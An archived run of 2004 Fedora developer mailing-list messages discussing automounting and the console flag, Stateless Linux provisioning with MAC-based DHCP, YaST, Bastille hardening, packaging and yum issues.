<1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> <1096901933.27934.22.camel@kyrre> <1096902261.11512.1.camel@skynet.linuxcraft.co.uk> Message-ID: <1096902503.27934.33.camel@kyrre> please create a new thread instead of ansvering to an old one. People who are using threaded mail clients (such as evolution, newsgroups, and the archive) will see your mail as a reply to RFE: more on mounting. Kyrre man, 04.10.2004 kl. 17.04 skrev Kashif Ali: > hi, > > i am trying to set up bonding to have NIC redundancy, i have set it up > to work the only problem is that the NIC are flooding the cisco switch > with it MAC address?? figthing for the port, does anyone know a fix for > this? > > Kashif From walters at redhat.com Mon Oct 4 15:14:53 2004 From: walters at redhat.com (Colin Walters) Date: Mon, 04 Oct 2004 11:14:53 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096901933.27934.22.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> <1096901933.27934.22.camel@kyrre> Message-ID: <1096902893.3118.5.camel@nexus.verbum.private> On Mon, 2004-10-04 at 16:58 +0200, Kyrre Ness Sjobak wrote: > BTW i'm a gnome fan so i really shouldn't know this. But somehow i do... > The reason for me to have konquerror installed (hey, gotta have qt > anyway, so many progs need it, btw KDE is a good backup) is fish://... I > love that. Why isn't there such a thing for GNOME? :( ssh:// -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From skvidal at phy.duke.edu Mon Oct 4 15:15:59 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 04 Oct 2004 11:15:59 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096902893.3118.5.camel@nexus.verbum.private> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> <1096901933.27934.22.camel@kyrre> <1096902893.3118.5.camel@nexus.verbum.private> Message-ID: <1096902959.22910.26.camel@opus.phy.duke.edu> On Mon, 2004-10-04 at 11:14, Colin Walters wrote: > On Mon, 2004-10-04 at 16:58 +0200, Kyrre Ness Sjobak wrote: > > > BTW i'm a gnome fan so i really shouldn't know this. But somehow i do... > > The reason for me to have konquerror installed (hey, gotta have qt > > anyway, so many progs need it, btw KDE is a good backup) is fish://... I > > love that. Why isn't there such a thing for GNOME? :( > > ssh:// > > ______________________________________________________________________ Have the key adding and password-acceptance dialogs been added. And does it handle symlinked-dirs properly now? The last time I used it it was a complete mess. -sv From dmalcolm at redhat.com Mon Oct 4 16:12:15 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Mon, 04 Oct 2004 12:12:15 -0400 Subject: How to make a custom Fedora bootable CD? In-Reply-To: <41600590.2070705@linux.net.mk> References: <41600590.2070705@linux.net.mk> Message-ID: <1096906335.7563.21.camel@cassandra.boston.redhat.com> On Sun, 2004-10-03 at 15:58 +0200, Arangel Angov wrote: > I wanted to make one bootable installation cd with the things I want > from fedora. Asked google, but didn't found much. > I also tried some forums of projects that have working custom bootable > fedora based distro's but I can't seem to find proper documentation on > how this is done. Does it involve kickstart configuration files and > where everything goes? Is there a document that somebody could recommend > for this? You may want to look at the Stateless Linux tutorial I wrote, which has some information on obtaining an install of Fedora as a subtree within your file hierarchy, and then creating a live CD of it. See: http://fedora.redhat.com/docs/stateless/ and in particular: http://fedora.redhat.com/docs/stateless/sn-live-cd.html Much of this document is aimed at a sysadmin wanting to manage a large number of client machines, so some of it may be overkill for your needs, but the Live CD creation script should be usable, and we'd love to get feedback (patches?) on it. Dave From stevelist at silverorange.com Mon Oct 4 16:44:16 2004 From: stevelist at silverorange.com (Steven Garrity) Date: Mon, 04 Oct 2004 13:44:16 -0300 Subject: rawhide report: 20041001 changes In-Reply-To: <1096651926.4257.29.camel@rhbw.boston.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> Message-ID: <41617DE0.3040905@silverorange.com> Bryan Clark wrote: > We've changed the default panel layout to adapt it more towards the > default GNOME panel layout. This layout is a dual panel system, I have > a screenshot [1] of the new layout which will explain it much faster > than me trying to describe it. Excellent move - I've not used a two panel layout enough to know if I'll like it or not, but I'm all for getting closer to up-stream Gnome. Steven Garrity From alan at redhat.com Mon Oct 4 17:22:48 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 4 Oct 2004 13:22:48 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096902348.27934.30.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> <20041004143627.GA20972@devserv.devel.redhat.com> <1096901371.27934.7.camel@kyrre> <20041004145841.GA2737@devserv.devel.redhat.com> <1096902348.27934.30.camel@kyrre> Message-ID: <20041004172248.GA26039@devserv.devel.redhat.com> On Mon, Oct 04, 2004 at 05:05:49PM +0200, Kyrre Ness Sjobak wrote: > Btw. in most enviroments, XDMCP runs *without* ssh, right? XDMCP is not based on ssh. Thats a limit in the X level protocols and should be filed upstream in the Xorg bugzilla. From kyrre at solution-forge.net Mon Oct 4 17:29:25 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 19:29:25 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <20041004172248.GA26039@devserv.devel.redhat.com> References: <1096896941.2723.9.camel@kyrre> <20041004143627.GA20972@devserv.devel.redhat.com> <1096901371.27934.7.camel@kyrre> <20041004145841.GA2737@devserv.devel.redhat.com> <1096902348.27934.30.camel@kyrre> <20041004172248.GA26039@devserv.devel.redhat.com> Message-ID: <1096910965.27934.44.camel@kyrre> I know. just a unfortunate wording on my side. I think running X through SSH would be a great idea (for security), but then they should maybe call it X11R7 instead? Oh wait. Extentions... And i know you can tunnel it both through a ssh session (the -X flag) and also in some, mystical manner (yeah, if i need it, ill RTFM) forward ports through it. And that would break Esd Should Die... (why i have no clue - you're the hacker here, not me...) Kyrre man, 04.10.2004 kl. 19.22 skrev Alan Cox: > On Mon, Oct 04, 2004 at 05:05:49PM +0200, Kyrre Ness Sjobak wrote: > > Btw. in most enviroments, XDMCP runs *without* ssh, right? > > XDMCP is not based on ssh. Thats a limit in the X level protocols and should > be filed upstream in the Xorg bugzilla. From niki.rahimi at gmail.com Mon Oct 4 17:38:35 2004 From: niki.rahimi at gmail.com (Niki Rahimi) Date: Mon, 4 Oct 2004 12:38:35 -0500 Subject: Bastille In-Reply-To: <1096831900.18214.205666253@webmail.messagingengine.com> References: <1096560135.3995.34.camel@marte.biciclete.ro> <20041001125910.GB3907@rednote.net> <1096831900.18214.205666253@webmail.messagingengine.com> Message-ID: While having a doc would be great. I think users would be happy to have something that would also do the work for them. I understand that a lot of security measures are already taken on the Fedora installs but the user should be made aware and can also have a choice in the details of the security measures taken. If they want ftp off but telnet on they can do so while being made aware of the implications of doing so. This is why Bastille has been so popular. On Sun, 03 Oct 2004 20:31:40 +0100, Stuart Ellis wrote: > On Fri, 1 Oct 2004 08:59:10 -0400, "Janina Sajka" > said: > > So, while it has much to teach and offers good advice, I'd really > > rather that Bastille were a HOWTO and not an "I'll fix it for you" > > script. > > > > It's nice to be given a fish to eat, but it's nicer to know how to catch > > fish. Same old same old. > > If the docs approach is of interest - there is a "Hardening Fedora" > tutorial currently being written as part of the documentation project. > The tracking bug: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129957 > > There is an ongoing thread about this tutorial on fedora-docs as well. > -- > Stuart Ellis > s.ellis at fastmail.co.uk > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From kyrre at solution-forge.net Mon Oct 4 17:36:55 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 19:36:55 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <20041004143627.GA20972@devserv.devel.redhat.com> References: <1096896941.2723.9.camel@kyrre> <20041004143627.GA20972@devserv.devel.redhat.com> Message-ID: <1096911414.27934.46.camel@kyrre> RFE somehow landed at "basesystem". Guess i guessed that mount lives there. https://bugzilla.redhat.com/bugzilla/post_bug.cgi man, 04.10.2004 kl. 16.36 skrev Alan Cox: > On Mon, Oct 04, 2004 at 03:35:41PM +0200, Kyrre Ness Sjobak wrote: > > But what if all volumes that the user mounted when he/she was logged on, > > automatically got umounted when the user who mounted it logs out? That > > would solve it. > > That sounds very sensible - please bugzilla it as an RFE > > > About the "console" flag: would a user sitting on an XDMCP terminal be > > considered a console user or not? How is it determined if he/she is a > > console user or not? Because someone sitting on an xdmcp terminal > > shouldn't be considered "console"... > > An xdmcp session is not considered "console". VNC access to the console > session (shared access) might be. > > Handling devices on thin clients (often nbd exports of the client cdrom > drive) is another matter again From kyrre at solution-forge.net Mon Oct 4 17:37:55 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 19:37:55 +0200 Subject: Bastille In-Reply-To: References: <1096560135.3995.34.camel@marte.biciclete.ro> <20041001125910.GB3907@rednote.net> <1096831900.18214.205666253@webmail.messagingengine.com> Message-ID: <1096911475.27934.48.camel@kyrre> system-config-bastille? man, 04.10.2004 kl. 19.38 skrev Niki Rahimi: > While having a doc would be great. I think users would be happy to > have something that would also do the work for them. I understand that > a lot of security measures are already taken on the Fedora installs > but the user should be made aware and can also have a choice in the > details of the security measures taken. If they want ftp off but > telnet on they can do so while being made aware of the implications of > doing so. This is why Bastille has been so popular. > > > On Sun, 03 Oct 2004 20:31:40 +0100, Stuart Ellis wrote: > > On Fri, 1 Oct 2004 08:59:10 -0400, "Janina Sajka" > > said: > > > So, while it has much to teach and offers good advice, I'd really > > > rather that Bastille were a HOWTO and not an "I'll fix it for you" > > > script. > > > > > > It's nice to be given a fish to eat, but it's nicer to know how to catch > > > fish. Same old same old. > > > > If the docs approach is of interest - there is a "Hardening Fedora" > > tutorial currently being written as part of the documentation project. > > The tracking bug: > > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=129957 > > > > There is an ongoing thread about this tutorial on fedora-docs as well. > > -- > > Stuart Ellis > > s.ellis at fastmail.co.uk > > > > > > > > -- > > fedora-devel-list mailing list > > fedora-devel-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > From jonathansavage at gmail.com Mon Oct 4 18:00:43 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Mon, 4 Oct 2004 11:00:43 -0700 Subject: rawhide report: 20041001 changes In-Reply-To: <41617DE0.3040905@silverorange.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> <41617DE0.3040905@silverorange.com> Message-ID: <2ad7cea10410041100dd14d18@mail.gmail.com> > > We've changed the default panel layout to adapt it more towards the > > default GNOME panel layout. This layout is a dual panel system, I have > > a screenshot [1] of the new layout which will explain it much faster > > than me trying to describe it. > > Excellent move - I've not used a two panel layout enough to know if I'll > like it or not, but I'm all for getting closer to up-stream Gnome. > > Steven Garrity FWIW I'm liking the two panel layout *a lot*. -- Bests, Jon From rjune at bravegnuworld.com Mon Oct 4 18:59:03 2004 From: rjune at bravegnuworld.com (Richard June) Date: Mon, 4 Oct 2004 13:59:03 -0500 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <1096902348.27934.30.camel@kyrre> References: <1096896941.2723.9.camel@kyrre> <20041004145841.GA2737@devserv.devel.redhat.com> <1096902348.27934.30.camel@kyrre> Message-ID: <200410041359.05927.rjune@bravegnuworld.com> [snip] > I like ESD... At least i did under OSS. Nowadays ALSA does the mixing, > so... But (having resently heard from another admin, an i agree) > multimedia (and removable storage) is really the only reason to avoid > thin clients - exept that, it rocks! (if i just could have quake 3 and > removable storage on a (purpose-built) thin client, my main box would > happen to be in the basement in less that 10 minutes - no noise, bootup > time=time for an LCD to start (less than one secound), little desktop > real estate used... ahh. Mac's new shiny litle toy: mwah hah hah luser!) Ok, as I manage some thin clients that have both local drive and local audio I think I am qualified to respond to this one. You can get audio on a thin client. GNOME appears to pick up on the fact that you're on a remote system and redirect audio automagicly. LTSP supports local drives as well. it's a little more complicated to setup. but not horribly so. and it's getting better GLX is supported, but you're not going to be getting the proprietary NVIDIA or ATi drivers installed without some trouble, but if you want quiet, you're gonna be going for older stuff anyway. here's a link to my website on all things ltsp. give it a look before you go writing stuff off as impossible. http://www.bravegnuworld.com/~rjune/ltsp/ -- Public Key available Here: http://www.bravegnuworld.com/~rjune/rjune.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From nutello at sweetness.com Mon Oct 4 19:28:05 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Mon, 4 Oct 2004 21:28:05 +0200 Subject: Future of Stateless Linux Message-ID: <20041004192804.GA21879@server4.8080.it> I was reading the Stateless Linux tutorial last night. I have a few questions regarding some issues and how the project will tackle them, if at all. I haven't actually tried the software yet, but at work we're having a new cluster shipped today and this means I have an official excuse to play with stuff later this week. My perspective focuses mostly on the needs of clusters and similar setups (blade servers, etc.). I understand that, at least initially, the project will mainly target desktop clients. I also understand that we're still in the early stages. On to the issues. 1) IP addresses There are several sides to this. The basic premise is that some might prefer static IP addresses and names for boxes. If I have, say, 30 blades, I would like the blade with the sticker "20" on it to actually be called "node020". And the one next to it to be called "node021". The tutorial simply avoids the issue, showing how to set up a DHCP setup with 100% dynamic IPs. You could consider this issue orthogonal to serving images and root filesystems, but I think an integrated approach is preferrable. The obvious solution here is to resort to Ethernet MAC addresses. Section 5 (Setting up diskless clients) "solves" the issue by just saying "Determine the MAC address of the client(s)". That's not as automated as one would wish and, more importantly, still doesn't take care of IP addresses and names - it just changes the PXE boot image for that MAC address. My question here is: are there any plans to tackle this? There is an approach that I have used in the past. It worked for me, but it might need to be made more flexible and robust, to support all the scenarios that Stateless Linux hopes to enable. You need, of course, to have a list of MAC addresses. Even better, several lists of MAC addresses - e.g. for several groups/profiles. You can enter them manually or, if you're lazy enough, you'll want the clients and the server to register them automatically. I do this at the time that the kickstart file is served (I don't serve images yet, but the idea is the same). A simple CGI script looks at the IP at the remote end, retrieves the MAC address using ARP and appends it to the list of addresses for that group. This is the common case, where you add hosts sequentially by booting them in order, one by one. Of course you can edit the MAC address lists manually if a NIC needs e.g. to be replaced. Another script takes care of creating new configuration files for DHCPD and BIND, starting from the lists of MAC addresses and some parameters associated to them. E.g., you'll want to specify that Group 1 lives in the 10.23.45.0/24 subnet and its symbolic names follow the format string "desktop%03d". You can even tell dhcpd to add/update entries without restarting the process, using OMAPI - it's a bit funky, but it can be made to work in a reliable manner. A consequence of this is that you can now assign "unregistered" hosts to a special address range, if you need it. A malicious system can still spoof another MAC address, but you can at least deal with the more common case of a system that is misconfigured or was never configured. Or a Windows system. 2) Live updates With the current design and implementation, updates happen only at a snapshot level. There's no support for live updates that do not require a reboot. I am not sure if this is set in stone, but I can understand the rationale behind it. It makes sense for desktop systems, but a bit less for servers. Is there an answer to the inevitable question, "how do we minimise the downtime associated with switching to a new image?"? One could imagine using kexec: http://www-106.ibm.com/developerworks/linux/library/l-kexec.html Or, if the kernel doesn't change between images, one could envision a hack that does the equivalent of going to single-user mode and switching the root filesystem - unless there's some gotcha that makes it impossible. The fact that / is already read-only should help, I guess. 3) USB drives This is a minor issue, but I think it's worth starting to address. Floppies are dead - the sheer size of the 2.6 kernel makes them unfit for the purpose - and maybe CDs should be next. USB flash drives are faster, handier, do not necessitate the extra step of creating an ISO image and do not require a drive that consumes precious space and power (well, you could use an USB CD drive, if you're that masochistic). If tools are going to be developed to create caching client boostrap images and "live" images, it might be worth considering support for USB/Firewire drives from the start. It should be a subset of the CD case, since you are avoiding the creation of an ISO image. This is all for now. -- Rudi From jon at jonshouse.co.uk Mon Oct 4 19:47:07 2004 From: jon at jonshouse.co.uk (Jonathan Andrews) Date: Mon, 04 Oct 2004 20:47:07 +0100 Subject: Future of Stateless Linux In-Reply-To: <20041004192804.GA21879@server4.8080.it> References: <20041004192804.GA21879@server4.8080.it> Message-ID: <1096919226.17182.4.camel@jonspc> On Mon, 2004-10-04 at 20:28, Rudi Chiarito wrote: > I was reading the Stateless Linux tutorial last night. I have a few > questions regarding some issues and how the project will tackle them, if > at all. > > I haven't actually tried the software yet, but at work we're having a > new cluster shipped today and this means I have an official excuse to > play with stuff later this week. My perspective focuses mostly on the > needs of clusters and similar setups (blade servers, etc.). I understand > that, at least initially, the project will mainly target desktop > clients. I also understand that we're still in the early stages. > > On to the issues. > > 1) IP addresses > > There are several sides to this. The basic premise is that some might > prefer static IP addresses and names for boxes. If I have, say, 30 > blades, I would like the blade with the sticker "20" on it to actually > be called "node020". And the one next to it to be called "node021". The > tutorial simply avoids the issue, showing how to set up a DHCP setup > with 100% dynamic IPs. You could consider this issue orthogonal to > serving images and root filesystems, but I think an integrated approach > is preferrable. > > The obvious solution here is to resort to Ethernet MAC addresses. > Section 5 (Setting up diskless clients) "solves" the issue by just > saying "Determine the MAC address of the client(s)". That's not as > automated as one would wish and, more importantly, still doesn't take > care of IP addresses and names - it just changes the PXE boot image for > that MAC address. My question here is: are there any plans to tackle > this? Im not an expert, but heres my take on the same problem. Just a point of interest you can tell the dhcp server to keep handing out the same IP address to a machine using MAC. So if a machine is configured to with no hostname and a working name resolver it should have the same IP booth during boot and after boot. Example from my LAN, the sun always gets 10.10.10.200, the masqurading DNS servers calls this "ultra1", the machine itself has no hostname so it always called "ultra1" after boot. host ultra1 { hardware ethernet 08:00:20:7c:9d:f5; option domain-name "jonshouse"; fixed-address 10.10.10.200; option host-name "ultra1"; #option root-path "10.10.10.80:/disk3/netboot/sparc_ultra1_root"; option domain-name-servers 10.10.10.80; } From gopins.iitg at gmail.com Mon Oct 4 19:42:20 2004 From: gopins.iitg at gmail.com (gopinaths) Date: Tue, 5 Oct 2004 01:12:20 +0530 Subject: YasT for Fedora Core Message-ID: Since YasT is GPL (well is it? ) , then it would be nice if fedora has the same or something like it. Yast is the best Installation/Setup and System Administration Tool available for linux , it combines RCD + Control Centre( the KDE one) and its very simple for loads of other administration stuff. Some discussions took place about it in redhat forums http://www.redhat.com/archives/fedora-config-list/2004-May/msg00013.html but it remains to be implemented . It will be great if it is done , imagine being able to install new versions of kde or gnome or ftp installation of fedora itself in a smooth way .. i know it could be done even without it (up2date , yum ) but it seldom works or its not cool, putting up a graphical interface will surely be one more step towards user friendliness. so what say you? regards gopinaths : Linux is Sexy who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep From kyrre at solution-forge.net Mon Oct 4 19:46:49 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 04 Oct 2004 21:46:49 +0200 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <200410041359.05927.rjune@bravegnuworld.com> References: <1096896941.2723.9.camel@kyrre> <20041004145841.GA2737@devserv.devel.redhat.com> <1096902348.27934.30.camel@kyrre> <200410041359.05927.rjune@bravegnuworld.com> Message-ID: <1096919209.27934.50.camel@kyrre> Thanks! Ill look into it :) man, 04.10.2004 kl. 20.59 skrev Richard June: > [snip] > > I like ESD... At least i did under OSS. Nowadays ALSA does the mixing, > > so... But (having resently heard from another admin, an i agree) > > multimedia (and removable storage) is really the only reason to avoid > > thin clients - exept that, it rocks! (if i just could have quake 3 and > > removable storage on a (purpose-built) thin client, my main box would > > happen to be in the basement in less that 10 minutes - no noise, bootup > > time=time for an LCD to start (less than one secound), little desktop > > real estate used... ahh. Mac's new shiny litle toy: mwah hah hah luser!) > Ok, as I manage some thin clients that have both local drive and local audio I > think I am qualified to respond to this one. > You can get audio on a thin client. GNOME appears to pick up on the fact that > you're on a remote system and redirect audio automagicly. > LTSP supports local drives as well. it's a little more complicated to setup. > but not horribly so. and it's getting better > GLX is supported, but you're not going to be getting the proprietary NVIDIA or > ATi drivers installed without some trouble, but if you want quiet, you're > gonna be going for older stuff anyway. here's a link to my website on all > things ltsp. give it a look before you go writing stuff off as impossible. > > http://www.bravegnuworld.com/~rjune/ltsp/ > From rdieter at math.unl.edu Mon Oct 4 20:15:51 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Mon, 04 Oct 2004 15:15:51 -0500 Subject: YasT for Fedora Core In-Reply-To: References: Message-ID: <4161AF77.7000804@math.unl.edu> gopinaths wrote: > Since YasT is GPL (well is it? ) , then it would be nice if fedora > has the same or something like it ... > so what say you? Sounds like a good candidate for Fedora Extras... -- Rex From roland at redhat.com Mon Oct 4 20:20:15 2004 From: roland at redhat.com (Roland McGrath) Date: Mon, 4 Oct 2004 13:20:15 -0700 Subject: YasT for Fedora Core In-Reply-To: Rex Dieter's message of Monday, 4 October 2004 15:15:51 -0500 <4161AF77.7000804@math.unl.edu> Message-ID: <200410042020.i94KKF1b013893@magilla.sf.frob.com> > gopinaths wrote: > > Since YasT is GPL (well is it? ) , then it would be nice if fedora > > has the same or something like it > ... > > so what say you? > > Sounds like a good candidate for Fedora Extras... Actually, that's a point that I would hope everybody would try to get: If it's not already in Fedora Extras, then it is certainly not a candidate for Fedora Core. If you like something, get it into Fedora Extras. If you like something in Fedora Extras a lot, you might come here with an argument that begins with, "People have been using Frobozz happily in Fedora Extras for a while now, and ..." Thanks, Roland From feliciano.matias at free.fr Mon Oct 4 20:24:08 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Mon, 04 Oct 2004 22:24:08 +0200 Subject: YasT for Fedora Core In-Reply-To: References: Message-ID: <1096921444.18722.3.camel@localhost.localdomain> Le lun 04/10/2004 ? 21:42, gopinaths a ?crit : > Since YasT is GPL (well is it? ) , then it would be nice if fedora > has the same or something like it. Yast is the best Installation/Setup > and System Administration Tool available for linux , it combines RCD + > Control Centre( the KDE one) and its very simple for loads of other > administration stuff. > > Some discussions took place about it in redhat forums > http://www.redhat.com/archives/fedora-config-list/2004-May/msg00013.html > > but it remains to be implemented . > > It will be great if it is done , imagine being able to install new > versions of kde or gnome or ftp installation of fedora itself in a > smooth way .. i know it could be done even without it (up2date , yum ) > but it seldom works or its not cool, putting up a graphical interface > will surely be one more step towards user friendliness. > > so what say you? I am writing a mail to suse-list : Fedora Core is GPL (well is it? ) , then it would be nice if Yast has the same or something like it. Fedora is the best core system available for linux, it combines ... > > regards > gopinaths : > > Linux is Sexy > who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; > gasp; yes; uptime; umount; sleep -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From pmatilai at welho.com Mon Oct 4 20:36:55 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Mon, 04 Oct 2004 23:36:55 +0300 Subject: Future of Stateless Linux In-Reply-To: <20041004192804.GA21879@server4.8080.it> References: <20041004192804.GA21879@server4.8080.it> Message-ID: <1096922215.23371.3.camel@chip.laiskiainen.org> On Mon, 2004-10-04 at 22:28, Rudi Chiarito wrote: > There is an approach that I have used in the past. It worked for me, but > it might need to be made more flexible and robust, to support all the > scenarios that Stateless Linux hopes to enable. > > You need, of course, to have a list of MAC addresses. Even better, > several lists of MAC addresses - e.g. for several groups/profiles. You > can enter them manually or, if you're lazy enough, you'll want the > clients and the server to register them automatically. > > I do this at the time that the kickstart file is served (I don't serve > images yet, but the idea is the same). A simple CGI script looks at the > IP at the remote end, retrieves the MAC address using ARP and appends it You can save yourself some trouble with this as anaconda can do the MAC digging for you - from command-line.txt of anaconda docs: kssendmac Adds HTTP headers to ks=http:// request that can be helpful for provisioning systems. Includes MAC address of all nics in a CGI environment variable of the form HTTP_X_RHN_PROVISIONING_0, HTTP_X_RHN_PROVISIONING_1, etc, for all nics. - Panu - From veguilla at hpcf.upr.edu Mon Oct 4 21:06:24 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Mon, 04 Oct 2004 17:06:24 -0400 Subject: RFE: More on mounting + a question about the "console" flag In-Reply-To: <41615560.8030905@redhat.com> References: <1096896941.2723.9.camel@kyrre> <41615560.8030905@redhat.com> Message-ID: <4161BB50.4030602@hpcf.upr.edu> Harald Hoyer wrote: > Kyrre Ness Sjobak wrote: > >> While there are so much chattering about automounting, security >> considerations of the new fstab "console" tag etc., i have as a systems >> administrator withnessed one thing - with something as old as floppyes. >> >> People mount up the floppy (acctually, they have no clue that they are >> mounting it, they just click the nice little "floppy" icon), get their >> files, pull out the floppy (without umounting), and logs out. >> >> Then, 2 minutes later, another user logs in, pulls up his/her floppy, >> and... the floppy is mounted. Cant get it umounted, and can't mount >> his/her floppy. Grr... >> >> Reason that there is a problem with floppyes and not other removable >> storage, is of cource that floppyes is the only removable storage that >> the user can pull out without the system gets the message - if you pull >> an usb mass storage plug, it gets umounted (and it is mounted "sync" so >> you probably won't loose data either). If you try to eject a cd, it wont >> come out - untill you umount it (this is really frustrating to new users >> as well - the "eject" button should umount the cd and eject it, and if >> it is buisy, tell dbus to tell gnome to display that popup we all loved >> in fc1) >> >> But what if all volumes that the user mounted when he/she was logged on, >> automatically got umounted when the user who mounted it logs out? That >> would solve it. >> >> About the "console" flag: would a user sitting on an XDMCP terminal be >> considered a console user or not? How is it determined if he/she is a >> console user or not? Because someone sitting on an xdmcp terminal >> shouldn't be considered "console"... >> >> Kyrre >> > > Maybe the easiest would be to patch the Gnome/KDE Desktop file-io with > floppy devices to mount/umount after each action (like the mtools). I think there was a brief discussion in the nautilus mailing list about writing an mtools backend for gnome-vfs. Regards, Ricardo Veguilla From nutello at sweetness.com Mon Oct 4 21:10:09 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Mon, 4 Oct 2004 23:10:09 +0200 Subject: Future of Stateless Linux In-Reply-To: <1096922215.23371.3.camel@chip.laiskiainen.org> References: <20041004192804.GA21879@server4.8080.it> <1096922215.23371.3.camel@chip.laiskiainen.org> Message-ID: <20041004211009.GB21879@server4.8080.it> On Mon, Oct 04, 2004 at 11:36:55PM +0300, Panu Matilainen wrote: > You can save yourself some trouble with this as anaconda can do the MAC > digging for you - from command-line.txt of anaconda docs: [...] > helpful for provisioning systems. Includes MAC address > of all nics in a CGI environment variable of the form I remember looking at this, but avoiding it because of the case of a system with several NICs. How do you know which is the one that talks to the server? I was not sure if you could assume that it was the first one (#0). And I am not sure if dhcpd lets you assign the same IP to two different MAC addresses. Which might be a bad idea anyway, depending on your circumstances. To be fair, the case of a system with multiple NICs was more hypothetical than otherwise in my setup, but I preferred erring on the side of caution: if someone swaps cables, DHCP requests get ignored, making the problem more obvious - in other environments this could be the wrong thing to do. All of this leads to another question, though: how to deal with machines with several network adapters? A classic example is a laptop with both Ethernet and 802.11. -- Rudi From rodd at clarkson.id.au Mon Oct 4 22:09:05 2004 From: rodd at clarkson.id.au (Rodd Clarkson) Date: Tue, 05 Oct 2004 08:09:05 +1000 Subject: Problems with yum ? In-Reply-To: <1096777375.30642.24.camel@binkley> References: <415ECA2D.6080009@uol.com.br> <1096777375.30642.24.camel@binkley> Message-ID: <1096927746.4034.2.camel@localhost.localdomain> On Sun, 2004-10-03 at 00:22 -0400, seth vidal wrote: > > [root at 200-170-106-105 Fedora]# yum --obsoletes update > > Setting up Update Process > > Setting up Repo: development > > repomd.xml 100% |=========================| 1.1 kB 00:00 > > Reading repository metadata in from local files > > developmen: ################################################## 3422/3422 > > Resolving Dependencies > > module-init-tools-3.1-0.p 100% |=========================| 19 kB 00:00 > > > If you can get this to happen still I would love for you to run: > > strace -o /tmp/somefile.out yum --obsoletes update > and attach somefile.out to a bugzilla report. Filed bug report at: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=134606 From giallu at gmail.com Mon Oct 4 22:57:37 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Tue, 5 Oct 2004 00:57:37 +0200 Subject: To package or not to package? Message-ID: Hi all, Since where I work I probably will need packaging our products in rpm format, I would like to take this chance to help somehow the community while learning how to properly do it. I am interested in packaging the kernel driver for TI ACX100/111 wireless network cards, but this poses some issues: - currently an older version is present in Dag Wieers repo (thanks Dag!!). Should I ask him "permission" to work on it before doing anything? would it clash somehow if present in both repos (dag & extras)? - How do I deal with the card firmware, which is released as a binary module (guess much like the intel centrino one) - What kernel version should it target? the latest rawhide, the one in Core 2, the last in updates... Thanks for you thoughts Gianluca From warren at togami.com Tue Oct 5 01:19:35 2004 From: warren at togami.com (Warren Togami) Date: Mon, 04 Oct 2004 15:19:35 -1000 Subject: Bonding In-Reply-To: <1096902261.11512.1.camel@skynet.linuxcraft.co.uk> References: <1096896941.2723.9.camel@kyrre> <1096897754.15534.57.camel@nexus.verbum.private> <1096898433.2723.21.camel@kyrre> <1096900483.15534.80.camel@nexus.verbum.private> <1096901933.27934.22.camel@kyrre> <1096902261.11512.1.camel@skynet.linuxcraft.co.uk> Message-ID: <4161F6A7.9050502@togami.com> Kashif Ali wrote: > hi, > > i am trying to set up bonding to have NIC redundancy, i have set it up > to work the only problem is that the NIC are flooding the cisco switch > with it MAC address?? figthing for the port, does anyone know a fix for > this? > > Kashif > http://fedora.linux.duke.edu/wiki/PostIsOffTopic From cturner at redhat.com Tue Oct 5 02:30:34 2004 From: cturner at redhat.com (Chip Turner) Date: Mon, 04 Oct 2004 22:30:34 -0400 Subject: subversion-1.1 released In-Reply-To: <20041004094325.GA28792@redhat.com> (Joe Orton's message of "Mon, 4 Oct 2004 10:43:25 +0100") References: <604aa791041001051110468310@mail.gmail.com> <20041001123443.GA7170@redhat.com> <20041004094325.GA28792@redhat.com> Message-ID: Joe Orton writes: > 2) some new Perl bindings issue where the modules are now 